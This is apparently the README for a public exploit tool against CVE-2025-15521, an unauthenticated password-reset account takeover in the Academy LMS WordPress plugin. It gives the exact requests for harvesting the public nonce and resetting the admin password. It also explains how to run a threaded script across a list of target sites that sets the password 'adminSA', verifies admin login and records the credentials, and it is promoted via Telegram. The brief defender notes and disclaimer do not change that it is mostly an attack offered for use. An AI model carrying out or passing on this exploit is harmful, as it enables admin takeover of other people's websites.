
The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.5.0.
The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.5.0.
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 Follow @KNxploited — CVE disclosures and working exploits, no delay.
CVE-2025-15521 — Unauthenticated account takeover via password reset in Academy LMS ≤ 3.5.0.
The plugin's reset handler authenticates the request using only a publicly-exposed nonce (academy_nonce) embedded in course pages. No token sent to the user's email. No session check. No identity validation. An attacker who reads any course page gets a valid nonce, then resets any account's password by supplying a user_id — including user_id=1 (the site admin).
CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Wordfence
GET /course/any-course/
→ HTML contains: "academy_nonce": "a1b2c3d4e5" ← public, no auth
POST /academy-retrieve-password/?user_id=1
new_password=<anything>
confirm_new_password=<anything>
security=a1b2c3d4e5 ← nonce accepted
→ Password for user_id=1 changed. No email. No confirmation.
The handler calls wp_set_password() after only verifying wp_verify_nonce() on a nonce that is broadcast to every visitor. There is no check that the requesting user owns the account being modified.
academy_nonceuser_id with a chosen password/?author=N redirects and the REST API (/wp-json/wp/v2/users)wordpress_logged_in cookie/wp-admin — not just a 200 responsepip install requests colorama urllib3
Python 3.8+ required. Python 3.10+ recommended.
python CVE-2025-15521.py
You will be prompted for:
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 10
Reset handler path [/academy-retrieve-password/]:
Course root path (key source) [/course/]:
Max /course/ subpages to scan per site [15]:
user_id to reset (handler target) [1]:
New password to set [adminSA]:
HTTP timeout (seconds) [10]:
Output file [scan_results/academy_access_success.txt]:
Targets file — one URL per line, scheme optional:
https://target1.com
target2.com
https://target3.com/lms
Terminal — one line per target, no credentials printed:
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
File — confirmed access entries only:
[2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA
For defenders:
Block or monitor unauthenticated POST requests to the reset endpoint:
POST *academy-retrieve-password* with parameter: security=
Check the rm_admin_order / academy_nonce exposure in your theme's course page source. If the nonce is visible without being logged in — your version is affected.
Immediate fix steps:
This tool is for authorized security research and penetration testing only.
Only run it against systems you own or have explicit written permission to test.
The author accepts no liability for unauthorized or illegal use.
Unauthorized use violates CFAA, CMA, EU Directive 2013/40/EU, Saudi Anti-Cyber Crime Law No. M/17, and equivalent laws worldwide.
By Nxploited (Khaled Alenazi)
t.me/KNxploited · github.com/Nxploited
🔔 Follow @KNxploited on Telegram for the latest CVEs and exploit releases.